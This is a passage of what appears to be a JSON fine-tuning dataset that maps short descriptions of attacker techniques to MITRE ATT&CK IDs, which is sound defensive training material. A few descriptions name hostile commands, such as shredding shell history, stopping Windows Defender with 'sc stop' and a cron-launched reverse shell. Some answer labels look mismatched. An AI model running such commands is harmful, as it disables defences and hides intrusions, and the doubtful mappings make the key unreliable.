                "content": "Malicious code accesses the \\\\??\\C:\\Windows\\System32\\config\\SAM file directly and copies it to a staging directory before extracting password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'crontab -e' command to schedule a JavaScript file that launches a reverse shell daily at 3 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload is inserted into a Mustache template, causing the application to evaluate and run the payload."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a hidden GUI window with the WS_EX_TOOLWINDOW style to avoid appearing in the taskbar or Alt‑Tab menu."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Replacing the legitimate network provider DLL with a back‑doored version enables the attacker to harvest and alter authentication information."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise script runs \"shred -u ~/.bash_history\" to securely delete the command history file."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"sc stop\" command to halt the Windows Defender Antivirus service, preventing real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operative used SNMP tools to enumerate MIB objects, extracting password hashes stored in device configuration files."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a public search engine to locate exposed .env files containing configuration details."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds malicious shellcode inside a JPEG image uploaded to a public image‑hosting site, retrieving it later to execute on the target system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the payload to resemble standard DNS queries, making the malicious communication blend in with normal DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the systemd unit for a logging service to exfiltrate logs to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the Alibaba Cloud ECS DeleteInstance API to destroy a running instance."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adjusted the \"Network Access: Restrict anonymous access\" setting in the domain policy to \"Disabled\", facilitating anonymous enumeration of network shares."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a malicious HTTP module in IIS, allowing it to intercept and modify HTTP requests to exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script inserts a new user into /etc/passwd with root privileges on Linux."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain compromise of a graphics card vendor’s firmware update utility, delivering a malicious payload that escalates privileges on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a deserialization bug in the web application to execute code that altered site content to a defaced state."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage Azure Virtual Desktop to establish remote sessions on compromised workstations without exposing network ports."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes social media messaging platforms, sending direct messages to compromised accounts to issue commands."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware opens the volume device in raw mode and copies the entire disk image to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a custom debugger path into the IFEO registry for svchost.exe, leveraging Image File Execution Options to execute malicious code when the system service runs."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compresses and encrypts stolen data, then hides it inside the header fields of a standard network packet using steganography."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a batch file to clear the MOTW ADS from a malicious script, effectively subverting Windows trust controls and allowing silent execution."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor posts a deceptive message on a corporate Slack channel containing a malicious URL that leads to a credential-stealing site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reaches out to a black‑market supplier to purchase the latest firmware binaries of a target's proprietary SCADA system."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the \"systeminfo\" utility combined with custom parsing to extract information about attached peripheral hardware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest authentication tickets from a compromised host and use them to access other systems as the same user."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the cleanup phase, the attacker altered the last written time of the Windows Event Log files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors created a scheduled task with the description 'Defender Update' that loads a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit drops a DLL that registers a hidden window, allowing it to persist and communicate with a C2 server covertly."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps the original sshd binary with a malicious version but retains the sshd filename, effectively masquerading as the legitimate daemon."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses the CDN’s URL lookup feature to locate and download leaked backup files."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uninstalls or corrupts the hardware security module (HSM) drivers on a server, disabling hardware encryption capabilities."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain adversary exploits a trusted hardware supplier’s software build process to inject a malicious driver into the final product."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By crafting a transaction that contains a payload and then rolling it back, the malware executes the payload in the context of a trusted Windows service, demonstrating Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining access to sensitive data through an unsecured cloud storage service"
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches public code repositories for the victim’s domain name to find hard‑coded URLs and API endpoints."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service reads commands from a database entry and executes them, allowing the attacker to run arbitrary commands without direct execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool utilized Python to collect and compress log files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator obtains a cached credential token from a compromised workstation to perform lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a hidden autorun.inf file on USB sticks, causing the payload to run whenever the media is plugged into a Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Non‑English description: '攻击者将恶意代码隐藏在图片的像素中，使用隐写技术进行数据传输。'"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor first leverages a rogue Wi-Fi access point to deliver a payload, then sets up a secondary encrypted VPN tunnel for ongoing control."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert channel is established via port knocking where the attacker pings a series of ports with specific TTL values, and the server, upon detecting the pattern, enables a hidden administrative interface."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑crime group exploited a misconfigured Confluence permission setting to mass‑download employee handbooks and policies."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a credential reuse attack by trying leaked email‑password pairs on multiple social media services."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro leverages the PowerShell execution policy to run a script that adds the attacker to the local admin group."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Twitter DMs, the group delivers a crafted PDF that exploits a zero‑day vulnerability when opened by the recipient."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed steganography to hide malicious macros within a seemingly benign Office document's hidden objects."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites the original binary of a financial application with a malicious variant that logs keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"Get-WmiObject Win32_NetworkAdapterConfiguration\" cmdlet to discover which adapters are configured for internet access."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacks a legitimate Telnet session to exfiltrate sensitive data from the target system."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using tools like Mimikatz, the attacker pulls Kerberos tickets and reuses them to impersonate the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A network logon script is altered to include a command that disables security tools before loading the malware."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service was configured to call \"cmd.exe /c\" followed by a hidden PowerShell command, leveraging the command interpreter as a script proxy for stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages process masquerading by altering the process tree so that the rogue process appears as a descendant of a legitimate system component."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse sc create to set up a service that calls their payload with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects harmful code into an AWS Lambda function to harvest credentials from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary inspects the presence of the \"hyperv\" driver and disables its payload if it is detected."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests JWTs stored in configuration files and reuses them to gain unauthorized access to Azure resources."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses compromised AWS credentials to launch a new EC2 instance in the victim's VPC."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates counterfeit firewall notifications that appear legitimate, causing administrators to ignore real alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group hijacks the Windows Server Update Services (WSUS) to deploy a backdoor under the guise of a legitimate patch."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires confidential software source code by paying a rogue insider who leaks the files."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a buffer overflow in a privileged service to retrieve stored SSH keys from memory."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials for a cloud-based IT service, the attacker establishes a remote PowerShell session on the victim's servers."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwhelms the target’s network bandwidth by sending a massive stream of UDP packets to random ports, causing a direct network flood."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign deploys a launch daemon that suppresses system logs and runs a persistence script each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email tricks users into entering their credentials on a fake login page."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changes the ownership of a privileged account to a controlled account to hijack sessions."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script examines the CPU tick count and only proceeds when the count exceeds a threshold, evading analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote access tool uses a hidden iframe in a compromised web page to pull C2 scripts via GET requests."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a PowerShell module that creates a new domain user with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder altered the file name of a credential stealer to match \"wuauclt.exe\" to hide in logs."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat employs a custom compression algorithm on its command payloads, decompressing them only during execution."
            },
            {
                "role": "assistant",
